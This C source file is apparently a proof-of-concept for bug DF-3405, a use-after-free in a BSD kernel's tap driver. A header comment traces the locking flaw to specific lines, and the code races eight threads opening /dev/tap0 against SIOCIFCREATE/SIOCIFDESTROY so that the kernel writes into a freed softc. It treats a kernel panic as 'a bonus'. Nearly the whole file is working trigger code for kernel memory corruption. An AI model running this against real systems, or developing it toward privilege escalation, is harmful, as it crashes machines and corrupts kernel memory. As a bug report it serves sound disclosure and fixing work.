DF-3405 / taprace.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 | /* * taprace.c -- DF-3405: tap_softc use-after-free * * tapopen() (sys/net/tap/if_tap.c:315) fetches `sc = dev->si_drv1` under the * mplock and then uses it, but the ifconfig clone-destroy path * (SIOCIFDESTROY -> if_clone_destroy -> tap_clone_destroy -> tapdestroy, * if_tap.c:503-517 -> :471-496) takes NO mplock (only ifnet_lock, which * tapopen never acquires) and ends with kfree(sc). If tapopen is between * its si_drv1 fetch and its `tap_flags |= TAP_OPEN` (:347) when * tap_clone_destroy checks TAP_OPEN (:507), the destroy completes and * tapopen keeps writing into the freed softc (TAP_OPEN set, fsetown into * sc->tap_sigtd, taprefcnt++, later tapwrite/tapclose/tapioctl all use the * freed sc). * * This program races: * thread pool : open("/dev/tap0") -> write 64B packet -> close, forever * main thread : SIOCIFCREATE tap0 / short sleep / SIOCIFDESTROY tap0 * * Proof signature (with debug.if_tap_debug=1): * dmesg contains "tap0: destroyed, minor = 0x0" IMMEDIATELY followed by * "tap0: opened, minor = 0x0" with NO "created" line in between. * "opened" can only print from tapopen using a sc fetched before the * destroy freed it (if tapopen ran fully before the destroy's TAP_OPEN * check, destroy would have bailed EBUSY and never printed "destroyed"; * if tapopen ran fully after, si_drv1 would be NULL and it would print * "created" first). => tapopen ran on the kfree'd softc. QED. * * A panic (any signature) is a bonus, not required. * * build: cc -o taprace taprace.c -lpthread * run : ./taprace <seconds> */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/fcntl.h> #include <net/if.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> static volatile int stop; static int create_ok, create_err, destroy_ok, destroy_busy, destroy_err; static int open_ok, write_ok; static pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER; #define NOPENER 8 static void * opener(void *arg) { unsigned char pkt[64]; int fd, n; memset(pkt, 0x42, sizeof(pkt)); while (!stop) { fd = open("/dev/tap0", O_RDWR); if (fd < 0) continue; n = write(fd, pkt, sizeof(pkt)); pthread_mutex_lock(&mtx); open_ok++; if (n == (int)sizeof(pkt)) write_ok++; pthread_mutex_unlock(&mtx); close(fd); } return (NULL); } int main(int argc, char **argv) { struct ifreq ifr; pthread_t th[NOPENER]; int s, i, secs = 60, iter = 0; if (argc > 1) secs = atoi(argv[1]); s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } /* clean slate: destroy any pre-existing tap0, ignore errors */ memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, "tap0", IFNAMSIZ); ioctl(s, SIOCIFDESTROY, &ifr); for (i = 0; i < NOPENER; i++) pthread_create(&th[i], NULL, opener, NULL); printf("racing %d openers vs create/destroy for %ds...\n", NOPENER, secs); while (iter < secs * 20) { /* ~20 cycles/s */ memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, "tap0", IFNAMSIZ); if (ioctl(s, SIOCIFCREATE, &ifr) == 0) create_ok++; else if (errno != EEXIST) create_err++; usleep(20000 + (iter % 5) * 10000); /* 20-60ms window */ /* always attempt the destroy (tap0 may exist from a cycle * whose destroy lost to an open) */ if (ioctl(s, SIOCIFDESTROY, &ifr) == 0) destroy_ok++; else if (errno == EBUSY) destroy_busy++; else destroy_err++; usleep(30000); iter++; } stop = 1; for (i = 0; i < NOPENER; i++) pthread_join(th[i], NULL); printf("iters=%d create_ok=%d create_err=%d destroy_ok=%d " "destroy_busy=%d destroy_err=%d open_ok=%d write_ok=%d\n", iter, create_ok, create_err, destroy_ok, destroy_busy, destroy_err, open_ok, write_ok); printf("now check dmesg for: 'destroyed, minor = 0x0' directly " "followed by 'opened, minor = 0x0' (no 'created' between)\n"); return (0); } |